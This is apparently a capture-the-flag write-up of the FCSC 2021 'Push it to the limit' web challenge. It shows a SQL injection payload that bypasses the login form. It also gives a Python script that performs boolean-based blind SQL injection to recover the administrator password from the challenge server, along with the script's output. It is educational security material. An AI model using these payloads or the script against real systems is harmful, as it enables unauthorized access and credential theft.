FCSC 2021 - Intro - Push it to the limit

May 03, 2021   
sql-injections writeup 
Also available in:  🇫🇷 


Solving the challenge

This web application has an exposed login page:

We notice that when we enter special characters (such as double quotes ") the application crashes and tells us Error: near "password": syntax error:

We can therefore perform a simple SQL injection, and add -- - at the end to comment out the rest of the SQL query and thus avoid syntax errors.

Username : admin" and password like "%" -- -
Password : whatever

This SQL injection works well and we get a session as admin. We then get the flag:

FCSC{5012fb37d7886deaa5c4e209cf683286}

Dig deeper

As we have here an SQL injection with boolean return (it is in fact a boolean-based SQLI), we can go further and recover the administrator password, character by character. First, we must find the length of the password, then bruteforce all the characters at each position given in the password.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import string

def find_password_length():
    passlen = 0
    searching = True
    while searching == True:
        passlen += 1
        print('\r[>] Trying password length %d' % passlen, end="")
        r = requests.post(
            "http://challenges2.france-cybersecurity-challenge.fr:5000/",
            data = {
                "username" : 'admin" and LENGTH(password) = %d -- -' % passlen,
                "password" : "",
                "submit"   : "",
            }
        )
        if b'Identifiants incorrect' not in r.content:
            searching = False
    print('\r[+] Found password length %d !' % passlen)
    return passlen

def find_next_password_char(startpass, passlen):
    for letter in string.printable[:-5]:
        print('\r[>] Trying password : %s%s' % (startpass, letter), end="")
        r = requests.post(
            "http://challenges2.france-cybersecurity-challenge.fr:5000/",
            data = {
                "username" : 'admin" and password like \'%s%s%%\' -- -' % (startpass, letter),
                "password" : "",
                "submit"   : "",
            }
        )
        if b'Identifiants incorrect' not in r.content:
            print('\r[+] Found password letter at index %02d : %s !           ' % (len(startpass), letter))
            return letter


password_length = find_password_length()
password = ""
for k in range(password_length):
    password += find_next_password_char(password, password_length)

print("[+] Found password %s" % password)

We run the script, and we get the administrator password:

$ ./solve.py
[+] Found password length 16 !
[+] Found password letter at index 0 : g !           
[+] Found password letter at index 1 : j !           
[+] Found password letter at index 2 : f !           
[+] Found password letter at index 3 : 8 !           
[+] Found password letter at index 4 : b !           
[+] Found password letter at index 5 : q !           
[+] Found password letter at index 6 : 4 !           
[+] Found password letter at index 7 : q !           
[+] Found password letter at index 8 : 5 !           
[+] Found password letter at index 9 : 7 !           
[+] Found password letter at index 10 : 7 !           
[+] Found password letter at index 11 : b !           
[+] Found password letter at index 12 : q !           
[+] Found password letter at index 13 : f !           
[+] Found password letter at index 14 : 4 !           
[+] Found password letter at index 15 : c !           
[+] Found password gjf8bq4q577bqf4c

And we get the administrator password gjf8bq4q577bqf4c.